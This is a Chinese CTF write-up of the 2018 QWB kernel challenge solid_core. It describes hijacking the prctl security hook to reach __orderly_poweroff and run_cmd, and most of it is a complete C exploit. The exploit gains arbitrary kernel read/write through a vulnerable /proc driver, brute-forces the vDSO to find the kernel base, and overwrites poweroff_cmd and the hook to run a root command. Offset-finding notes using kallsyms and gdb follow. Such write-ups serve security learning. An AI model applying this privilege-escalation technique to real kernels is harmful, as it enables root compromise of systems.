linux kernal pwn 2018强网杯 solid_core

整个应该从CSAW 2015 stringipc来看

在这里插入图片描述
这道core看起来似乎跟上面那个stringipc是一模一样

但是总会有不同
区别就首先不让读写0xffffffff80000000往前的地址
这直接导致我们不能覆写cred

上次的第一个思路就没了

然后它又用的是最新的内核
新的内核中专门对劫持vdso的攻击手段

所以要介绍一个新的思路
劫持prctl函数,它能够让我们从局部地址读写一直到任意代码执行

prctl有5个参数,prctl将参数原封不动传给了security_task_prctl函数去处理。
security_task_prctl最后定位到一个虚表,调用hp->hook.task_prctl。

最后长这个样子

int(*task_prctl)(int option, unsignedlong arg2, unsignedlong arg3,
unsignedlong arg4, unsignedlong arg5);

那么我们要劫持task_prctl指针去哪?
我们首先要介绍这么一个函数
叫 call_usermoderhelper()
这函数是干嘛的
就相当于用户态的execve()

所以我们最后都要试图去调用这个函数
但是我们看到task_prctl函数的第一个参数类型是int
64位参数传过去会被截断

所以我们需要找一个函数,这个函数里面包装了call_usermoderhelper
我们又把目光聚焦到__orderly_poweroff函数上

staticint __orderly_poweroff(bool force)
{
int ret;

        ret = run_cmd(poweroff_cmd);

if(ret && force) {
            pr_warn("Failed to start orderly shutdown: forcing the issue\n");

/*
* I guess this should try to kick off some daemon to sync and
* poweroff asap.  Ornot even bother syncing if we're doing an
* emergency shutdown?
*/
            emergency_sync();
            kernel_power_off();
}

这个函数中我们发现里面会调用run_cmd函数
这个函数中就会最后去执行call_usermoderhelper函数
而且参数poweroff_cmd居然是一个全局变量
所以我们可以很容易的去控制那个变量最后去利用。

这个题网上脚本很多,所以我们就好好调一下。
中间有别的事隔了太久了 不想看了
鸽鸽鸽

先把直接用的脚本贴过来
这个脚本应该是solid_core出题人的exp吧
里面当然有注释
也是嫖来的
平凡之路

#include<stdio.h>
#include<sys/prctl.h>
#include<sys/types.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<string.h>
#include<sys/auxv.h>

#define CSAW_IOCTL_BASE     0x77617363
#define CSAW_ALLOC_CHANNEL  CSAW_IOCTL_BASE+1
#define CSAW_OPEN_CHANNEL   CSAW_IOCTL_BASE+2
#define CSAW_GROW_CHANNEL   CSAW_IOCTL_BASE+3
#define CSAW_SHRINK_CHANNEL CSAW_IOCTL_BASE+4
#define CSAW_READ_CHANNEL   CSAW_IOCTL_BASE+5
#define CSAW_WRITE_CHANNEL  CSAW_IOCTL_BASE+6
#define CSAW_SEEK_CHANNEL   CSAW_IOCTL_BASE+7
#define CSAW_CLOSE_CHANNEL  CSAW_IOCTL_BASE+8


struct alloc_channel_args {
size_t buf_size;
int id;
};

struct open_channel_args {
int id;
};

struct shrink_channel_args {
int id;
size_t size;
};

struct read_channel_args {
int id;
char*buf;
size_t count;
};

struct write_channel_args {
int id;
char*buf;
size_t count;
};

struct seek_channel_args {
int id;
loff_t index;
int whence;
};

struct close_channel_args {
int id;
};

//放置shellcode
int check_vsdo_shellcode(char*shellcode){
size_t addr=0;
        addr = getauxval(AT_SYSINFO_EHDR);
        printf("vdso:%lx\n", addr);
if(addr<0){
            puts("[-]cannot get vdso addr");
return0;
}    
if(memmem((char*)addr,0x1000,shellcode,strlen(shellcode) )){
return1;
}
return0;
}

int main(){
int fd = -1;
size_t result = 0;
struct alloc_channel_args alloc_args;
struct shrink_channel_args shrink_args;
struct seek_channel_args seek_args;
struct read_channel_args read_args;
struct write_channel_args write_args;
size_t addr = 0xffffffff80000000;
size_t kernel_base = 0;
size_t selinux_disable_addr= 0x2C7BA0;     //后面讲到如何获取这些函数和全局变量的固定偏移地址
size_t prctl_hook = 0x124FD00;
size_t order_cmd = 0x123D1E0;
size_t poweroff_work_func_addr =0x9C4C0;
        setvbuf(stdout, 0LL, 2, 0LL);
char*buf = malloc(0x1000);

        fd = open("/proc/simp1e",O_RDWR);
if(fd < 0){
            puts("[-] open error");
exit(-1);
}

//1.先创建一个channel,名为alloc_args
        alloc_args.buf_size = 0x100;
        alloc_args.id = -1;
        ioctl(fd,CSAW_ALLOC_CHANNEL,&alloc_args);
if(alloc_args.id == -1){
            puts("[-] alloc_channel error");
exit(-1);
}
        printf("[+] now we get a channel %d\n",alloc_args.id);

//2.修改alloc_args的size为0xffffffff ffffffff  造任意地址读写
        shrink_args.id = alloc_args.id;
        shrink_args.size = 0x100+1;
        ioctl(fd,CSAW_SHRINK_CHANNEL,&shrink_args);
        puts("[+] we can read and write any momery");

//3.爆破读取VSDO地址,只要该页在偏移0x2cd处的字符串是"gettimeofday",则找到了VDSO
// $ dump memory ./vdso.dump 0xffff...  0xffff...
// $ strings -a -t x ./vdso.dump | grep gettimeofday
//    2c6 __vdso_gettimeofday
for(;addr<0xffffffffffffefff;addr+=0x1000){
//SEEK设置从哪个偏移读起
            seek_args.id =  alloc_args.id;
            seek_args.index = addr-0x10;
            seek_args.whence= SEEK_SET;
            ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
//读取该页(0x1000)的内容
            read_args.id = alloc_args.id;
            read_args.buf = buf;
            read_args.count = 0x1000;
            ioctl(fd,CSAW_READ_CHANNEL,&read_args);
if(( !strcmp("gettimeofday",buf+0x2cd)) ){ // ((*(size_t *)(buf) == 0x00010102464c457f)) && 
                result = addr;
                printf("[+] found vdso %lx\n",result);
break;
}
}
//scanf("%d",&cred);
//printf("");
if(result == 0){
            puts("not found , try again ");
exit(-1);
}
//4.根据VDSO地址获取kernel base基址,以及其他函数地址
        kernel_base = addr-0x1020000;
        selinux_disable_addr+= kernel_base;
        prctl_hook += kernel_base;
        order_cmd += kernel_base;
        poweroff_work_func_addr += kernel_base;
//size_t argv_0 = kernel_base + 0x117ed20;
//size_t mce_do_trigger_addr = kernel_base + 0x0422ba;
//size_t env = kernel_base + 0xe4df20;
        printf("[+] found kernel base: %lx\n",kernel_base);
        printf("[+] found prctl_hook: %lx\n",prctl_hook);
        printf("[+] found order_cmd : %lx\n",order_cmd);
        printf("[+] found selinux_disable_addr : %lx\n",selinux_disable_addr);    
        printf("[+] found poweroff_work_func_addr: %lx\n",poweroff_work_func_addr);

        getchar();

//5.把待执行的命令写入order_cmd
        memset(buf,'\0',0x1000);
//*(size_t *)buf = selinux_disable_addr;
        strcpy(buf,"/bin/chmod 777 /flag\0");
        seek_args.id =  alloc_args.id;
        seek_args.index = order_cmd-0x10;    // 减去0x10是因为最开始krealloc返回值是0x10,写入地址是(channel->data+channel->index)
        seek_args.whence= SEEK_SET;    
        ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
        write_args.id = alloc_args.id;
        write_args.buf = buf;//&cat_flag;
        write_args.count = strlen(buf);
        ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);
        memset(buf,'\0',0x1000);
        seek_args.id =  alloc_args.id;
        seek_args.index = order_cmd+20-0x10;
        seek_args.whence= SEEK_SET;    
        ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
        write_args.id = alloc_args.id;
        write_args.buf = buf;//&cat_flag;
        write_args.count = 1;
        ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);    // 再写入1字节的'\x00'
//  change *prctl_hook -> selinux_disable_addr
//6.劫持prctl_hook -> selinux_disable_addr,使得selinux失效
        memset(buf,'\0',0x1000);
*(size_t*)buf = selinux_disable_addr;
//strcpy(buf,"/bin//sh\0");
        seek_args.id =  alloc_args.id;
        seek_args.index = prctl_hook-0x10;
        seek_args.whence= SEEK_SET;    
        ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
        write_args.id = alloc_args.id;
        write_args.buf = buf;//&cat_flag;
        write_args.count = strlen(buf)+1;
        ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);    
//prctl(addr,2, addr,addr,2);                 #居然没有执行prctl,也就是说没有使selinux失效,所以不需要这一步

//7. 劫持prctl_hook ->  poweroff_work_func_addr   最终调用prctl执行我们的命令"/bin/chmod 777 /flag\0"
        memset(buf,'\0',0x1000);
*(size_t*)buf = poweroff_work_func_addr;
        seek_args.id =  alloc_args.id;
        seek_args.index = prctl_hook-0x10;
        seek_args.whence= SEEK_SET;    
        ioctl(fd,CSAW_SEEK_CHANNEL,&seek_args);
        write_args.id = alloc_args.id;
        write_args.buf = buf;//&cat_flag;
        write_args.count = strlen(buf)+1;
        ioctl(fd,CSAW_WRITE_CHANNEL,&write_args);    

// change order_cmd -> "cat /flag\0"
        prctl(addr,2, addr,addr,2);

return0;
}
/*
(1) 如何获取关键系统函数和全局变量的偏移地址
        VDSO地址获取: $ cat /proc/kallsyms | grep vdso       #0xffffffffa0620000     -    0xffffffff9f600000  =  0x1020000
但高版本系统不能获取VDSO基址,只能代码爆破了。
        kernel base: $ cat /proc/kallsyms                     #0xffffffff9f600000
第一个地址,同一内核中VDSO和kernel base地址间隔不变。
其他函数地址:  $ cat /proc/kallsyms | grep xxx
            ffffffff9f8c7ba0 T selinux_disable
            ffffffff9f69c4c0 t poweroff_work_func
            prctl_hook和order_cmd怎么获取呢?
(1)prctl_hook                                  #0xffffffffa084fd00     -    0xffffffff9f600000  =  0x124FD00
                $ cat /proc/kallsyms | grep security_task_prctl
                  ffffffff9f8bd410 T security_task_prctl     0xffffffffa0d62100+0x18
                gdb-$ x /30iw0xffffffff9f8bd410
0xffffffff9f8bd454:    call   QWORD PTR [rbx+0x18]
                       rbx+0x18== 0xffffffffa084fd00
所以prctl_hook = 0xffffffffa084fd00
(2)order_cmd                                  #0xffffffffa083d1e0     -    0xffffffff9f600000  =  0x123D1E0
                $ cat /proc/kallsyms | grep poweroff_work_func
                  ffffffff9f69c4c0 t poweroff_work_func
                gdb-$ x /30iw ffffffff9f69c4c0
第一个call就是调用 run_cmd,查看rdi==0xffffffffa083d1e0
0xffffffff9f69c4c0:    push   rbx
0xffffffff9f69c4c1:    mov    rdi,0xffffffffa083d1e0
0xffffffff9f69c4c8:    movzx  ebx,BYTE PTR [rip+0x1670401]        # 0xffffffffa0d0c8d0
0xffffffff9f69c4cf:    call   0xffffffff9f69c050
*/
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值